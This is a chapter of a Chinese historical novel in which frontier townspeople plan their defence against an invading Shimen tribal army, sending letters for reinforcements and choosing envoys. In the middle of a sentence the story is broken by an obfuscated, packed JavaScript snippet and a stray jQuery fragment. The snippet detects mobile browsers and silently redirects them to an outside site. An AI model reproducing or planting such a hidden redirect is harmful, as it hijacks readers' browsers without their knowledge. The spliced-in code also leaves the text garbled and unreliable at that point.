一旁喝粥的伢崽插嘴:“瓦支舅舅,你说得轻巧,谁去平定啊?石门蕃的头领个个都是贪狼,成天就忙着抢人抢地,什么时候管过我们老百姓的死活?要还你还,我可不想还了!”
“你个狼崽子!”瓦支举起粥碗又放下,“说什么胡话呢?你阿妈、兄弟还留在横江,你想撇下他们不管了,是不是?”
伢崽嘟哝:“我阿妈常说,当年要不是你和阿公阻拦,非不同意她远嫁,我一生下来就是宋人,哪会像现在这样苦命……”
瓦支气得吹胡子瞪眼:“真要那样,可就没你了!”
“唉。”二锅头长叹一声,“僰道三路蛮,马湖、南广均已纳入宋境,就剩我们石门蕃,越跳越穷,不得安生!纳惹的哥哥——上一任乌蒙部大头领,倒是有意献土归宋,可惜还未成事,就遇害了。”
我吩咐封峤:“去把家里的干粮都拿来。”又从柜台下取出罐子,将里面的钱悉数倒出,用布包起,拿给瓦支,“这些钱带着路上用,撑到怀远,该是够了。”
瓦支忙不迭推却:“青城妹子,这可使不得!”
“瓦支大哥与我客气甚么?”我将钱包硬塞给他,干粮分给众人,“换成今日是我落难,你不也是一样待我?别耽搁了,快上路吧!我还有事要办,便不送你们了。”
瓦支的声音有些哽咽:“青城妹子,不是我说话难听,纳惹的大军就快到了,你们这里……不知道能不能顶住……”
“瓦支大哥放心,我们能顶住!”
“好!那你保重!”
辞别瓦支一行,我与林钟、封峤火速赶往燕子坪。
柳行简的小院门口,守着几名巡检司的弓兵,看样子,槐序已经顺利连络上郭成。
我推门入内,一群人正聚首案前,听到动静,纷纷朝向我执手:“青娘子,你们来了!”
“来了。”我扫了他们一眼:除去我们客栈四人,屋内还有郭成、刘玉、曲布,柳王、徐氏两对夫妇,均为可靠之人,便将午后至方才的遭遇,细述于众人知晓。
王云慧捧来一盏茶,递给我道:“青城,喝口水润润嗓子。”
“嗯。”我呷一口茶水,看向众人,“三日后宋历冬至,石门蕃大军即将抵达,南广危如累卵,要想守住我们的家园,唯有先行自救。青城恳请诸位同心同德,持危扶颠。”
柳行简起身执手:“同为大宋子民,守土有责。”
刘玉、徐山一众人等,亦是表态:“守土有责!”
柳行简手持一节竹枝,指着案上舆图道:“诸位请近观,这是我耗时半年绘制的西南舆图。
“原僰道三部,南广部居中,土地与人口,均少于其余两部;马湖部居西,实力最强,最早降宋;石门蕃地域最广,势力最为分散,周边地缘复杂,故而极难整合。”
郭成颔首:“是啊。石门蕃南接大理,东邻罗氏。他们那的部落头领有的亲大理、有的亲罗氏。贵族大姓之间,常年通婚,每一次内斗背后,都少不了邻国的影子。”
柳行简接道:“石门蕃东边的罗氏国,历代鬼主受封于前朝,至今未降。南广夹在戎泸二州与石门蕃之间,对于两边,本来起着一个缓冲作用,但南广归宋后,这里的缓冲,便丧失了。
“石门蕃近年来与大理交恶,内战不断,物产寡薄,全靠茶马交易支撑。朝廷在悦州重开茶马互市,亦有诱归之意。
“只可惜方才青娘子提及那位亲宋的头领,已然遇害。如今石门蕃气势汹汹来袭,定有邻国相助,大理的嫌疑可以排除,那必然是罗氏国无疑!”
柳行简的分析入情入理,我不禁倒吸一口凉气:“照这般看来,晏夷攻打淯井并非偶然;永宁河下游的难民涌入晏州;黄知州遇害、梅岭堡遭袭,罗氏国新任鬼主——才是背后最大的推手!”
刘玉叹息:“恐怕前任鬼主也并非暴毙,继承人争抢王位,只不过是他刻意营造出来的假象。”
徐嫂咂舌:“这个什么……鬼,心眼也太坏了!他绕那么大个弯子,到底想做什么?”
徐山回道:“他应该是想拖住长宁军。”
“不错。”柳行简点向舆图,“这是一个连环套。如此一来,最方便增援的长宁军陷入苦战,无暇旁顾。石门蕃一旦拿下南广,下一个要打的——必定是背盟投宋的马湖部。
“僰道三部合体,再加上一个罗氏国。西南边境,危矣!”
王云慧接口:“绝不能让他们的阴谋得逞!”
“是啊!”槐序问道,“郭巡检、柳先生,我们接下来该怎么做呢?”
郭成道:“对了。韦知州赴戎州府衙公出前,曾将一枚私章交于我保管,说是——以备不时之需。”
柳行简急问:“可有随身携带?”
“带了!”郭成说着,探手入怀,从衣襟内摸出一枚青玉小印,托在掌心中,递与柳行简。
柳行简执起印章,端详片刻道:“好个韦济周,当真是先见之明!我们要做的第一件事就是——通风报信。”
“通风报信?”
“通风报信!”
柳行简捋须:“封峤,执笔——‘石门蕃纳惹率军奔袭南广,悦州危急,速求联防增援。’”
封峤应声,接过王云慧递来的纸笔,入坐奋笔疾书。
柳行简再道:“郭巡检,请你即刻着人——将信件送至戎州府衙及邻近堡寨。”
郭成点头:“好!我来安排。”
誊写鈐印封漆,众人火速备好信件,又取来干粮与水,一同交付于巡检司弓兵。郭成严令:不眠不休,必须在十二个时辰之内送达。
曲布小声问刘玉:“干爹,我们何时去救韦大人?”
刘玉答道:“少安毋躁,听柳先生安排。”
徐嫂却是等不及了:“郭大人、柳先生,韦大人和他身边那个娃子还被扣着。”
柳行简点了点头:“救人是重中之重。一则,朝廷任命的州官是大宋脸面;二则,凝固民心,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16492324|180828||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
共攘外患,必需由他主持大局。韦大人要救,罗头领也得保。否则,汉僚不能同心,御敌亦无从谈起。”
“此事若想两全,须将罗重身边的纳惹密使,以及他们在筠连的内应连根拔除才行。”郭成转向林钟,郑重抱拳,“郭某力孤,还望林钟兄弟能助我一臂之力!”
林钟执手,淡淡道:“好说。”
柳行简大喜:“那就拜托二位了!”
槐序叫道:“我也要去救韦大人和时雨!”
我瞪她一眼:“你忘了你今天在州衙露过脸,还被他们跟踪过?”
槐序懊恼地“哦”了一声。
柳行简转向我道:“青城,我曾听乡民说起——上过天坑的人,有资格召集僚人议事,可有此事?”
“没错。”我颔首道,“峒民认为过得了天坑的人,必受山神庇佑,遇到突发状况,可以进山请铜鼓。”
柳行简指着槐序道:“那就让槐序去各溪峒召集僚人自卫,你们意下如何?”
槐序迫不及待应声:“我去,我去!”
曲布道:“这一片溪峒我熟,我陪槐序妹子去。”
大家均感可行。柳行简又在说辞上关照几句,见二人对答并无漏洞,满意地点了点头。
郭成又道:“西南半壁气候湿热、地形复杂,外来人口很难在短时间内适应。这里的戍卫一向依赖长宁军,倘若长宁军无法及时驰援,仅凭南广的‘土丁’和部落青壮,恐怕还是难以抵挡石门蕃大军。”
十二年前,南广和石门蕃的乱战仍历历在目。郭成的意见,我是赞同的:“是啊。僰道三路夷,我们南广僚人,一直是最弱的一支。”
柳行简神色肃然:“所以我们还有一件大事要做——求援军!”
我连忙问道:“上哪里去求?请先生明示!”
柳行简指向舆图:“马湖‘土丁’与仁怀军。”
郭成浓眉紧锁:“这两支队伍的确适应山地作战。
“不过,马湖董氏和南广罗氏素来不睦,请他们助阵,只怕不易;而仁怀军驻扎在滋州,戎泸两地不在其戍防之内,异地调兵,手续极为繁琐。
“南广与石门蕃的边境线长,加上道隘年久失修,能不能撑到援军抵达,很难说……”
“我们需要两个出色的说客。”柳行简扶案道,“一个去马湖,劝说董氏放下恩怨,助力南广;一个去仁怀军,并非要他们出防区作战,只需请动部分兵力顶到永宁河东岸,与西岸的江门寨形成联防之势,不让南边的罗氏鬼主轻举妄动即可。”
刘玉道:“刘某昔日在宫中,侍奉过仁怀军知军沈云植的姑母——沈太妃,同他们沈家,算是有那么点交情。游说仁怀军,姑且可以一试,只是我不擅骑术……”
槐序一把拉过封峤:“刘大夫,让封峤载你去!”
封峤点头:“嗯嗯,我可以!”
只剩马湖。
众人一时静默,我深吸一口气道:“马湖部,我去。”